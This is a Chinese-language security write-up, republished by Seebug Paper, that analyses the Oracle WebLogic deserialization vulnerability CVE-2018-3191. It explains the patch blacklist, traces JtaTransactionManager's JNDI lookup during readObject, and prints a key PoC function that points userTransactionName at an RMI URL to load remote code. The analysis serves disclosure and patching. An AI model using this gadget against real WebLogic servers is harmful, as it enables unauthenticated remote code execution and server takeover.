作者:廖新喜
公眾號:廖新喜

背景

北京時間10月17日,Oracle官方發布的10月關鍵補丁更新CPU(Critical Patch Update)中修復了一個高危的WebLogic遠程代碼執行漏洞(CVE-2018-3191)。該漏洞允許未經身份驗證的攻擊者通過T3協議網絡訪問并破壞易受攻擊的WebLogic Server,成功的漏洞利用可導致WebLogic Server被攻擊者接管,從而造成遠程代碼執行。這個漏洞由Matthias Kaiser,loopx9,Li Zhengdong申報。

補丁分析

如下圖所示

這回的補丁主要增加了兩個大類黑名單,分別是java.rmi.server.RemoteObject和com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager,RemoteObject是用于修補漏洞編號為CVE-2018-3245的漏洞,當時筆者在報這個漏洞的過程中就將所有涉及到RemoteObject相關的poc都提交給了Oracle官方。AbstractPlatformTransactionManager這個黑名單就是用于防止Spring JNDI注入,從官方以前的黑名單上就能看到org.springframework.transaction.support.AbstractPlatformTransactionManager,但是官方沒有想到在com.bea.core.repackaged的相關包還有spring的相關類。其實這兩個包中的類實現幾乎一樣,只是來源于不同的包。

動態分析

通過前一章的靜態分析已經知道CVE-2018-3191所對應的補丁,就是AbstractPlatformTransactionManager,用于防止Spring JNDI注入。在我們的PoC中主要用到JtaTransactionManager這個類。下面來看一下這個類中關鍵的幾個地方。

public class JtaTransactionManager extends AbstractPlatformTransactionManager implements TransactionFactory, InitializingBean, Serializable {
? public static final String DEFAULT_USER_TRANSACTION_NAME = "java:comp/UserTransaction";
? public static final String[] FALLBACK_TRANSACTION_MANAGER_NAMES = new String[]{"java:comp/TransactionManager", "java:appserver/TransactionManager", "java:pm/TransactionManager", "java:/TransactionManager"};
? public static final String DEFAULT_TRANSACTION_SYNCHRONIZATION_REGISTRY_NAME = "java:comp/TransactionSynchronizationRegistry";
? private static final String TRANSACTION_SYNCHRONIZATION_REGISTRY_CLASS_NAME = "javax.transaction.TransactionSynchronizationRegistry";
? private transient JndiTemplate jndiTemplate;
? private transient UserTransaction userTransaction;
? private String userTransactionName;
? ?.....

JtaTransactionManager類繼承自AbstractPlatformTransactionManager,實現了Serializable接口,其中私有屬性userTransactionName是用于JNDI尋址。

在Java反序列化中,入口有很多,readObject是最常見的,定位到JtaTransactionManager.readObject方法,實現如下:

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
? ois.defaultReadObject();
? this.jndiTemplate = new JndiTemplate();
? this.initUserTransactionAndTransactionManager();
? this.initTransactionSynchronizationRegistry();
}

繼續跟蹤initUserTransactionAndTransactionManager方法的實現:

protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {
? if (this.userTransaction == null) {
? ? ?if (StringUtils.hasLength(this.userTransactionName)) {
? ? ? ? this.userTransaction = this.lookupUserTransaction(this.userTransactionName);
? ? ? ? this.userTransactionObtainedFromJndi = true;
? ? ?} else {
? ? ? ? this.userTransaction = this.retrieveUserTransaction();
? ? ?}
? }
.....

在 initUserTransactionAndTransactionManager的方法中就有基于JNDI尋址方法lookupUserTransaction

關鍵尋址部分代碼如下:

protected UserTransaction lookupUserTransaction(String userTransactionName) throws TransactionSystemException {
? try {
? ? ?if (this.logger.isDebugEnabled()) {
? ? ? ? this.logger.debug("Retrieving JTA UserTransaction from JNDI location [" + userTransactionName + "]");
? ? ?}
? ? ?return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class);
? } catch (NamingException var3) {
? ? ?throw new TransactionSystemException("JTA UserTransaction is not available at JNDI location [" + userTransactionName + "]", var3);
? }
}

有了如上的分析,構造PoC也是水到渠成,下面是PoC的關鍵代碼:

public static Object getJtaTransactionManagerObject(String command){
int seq = command.indexOf(':');
if (seq < 0){
command = "rmi://localhost:1099/Exploit";
}
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(command);
return jtaTransactionManager;
}

更詳細的關于JNDI的使用可參考作者以前的博文,這里不再重復。漏洞效果如下圖:

由于這個漏洞利用的gadget是weblogic中自帶的,跟JDK版本無關,所以只要系統能連外網,未禁止T3協議,漏洞就可以利用,威力巨大,請盡快升級到Weblogic最新版。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/718/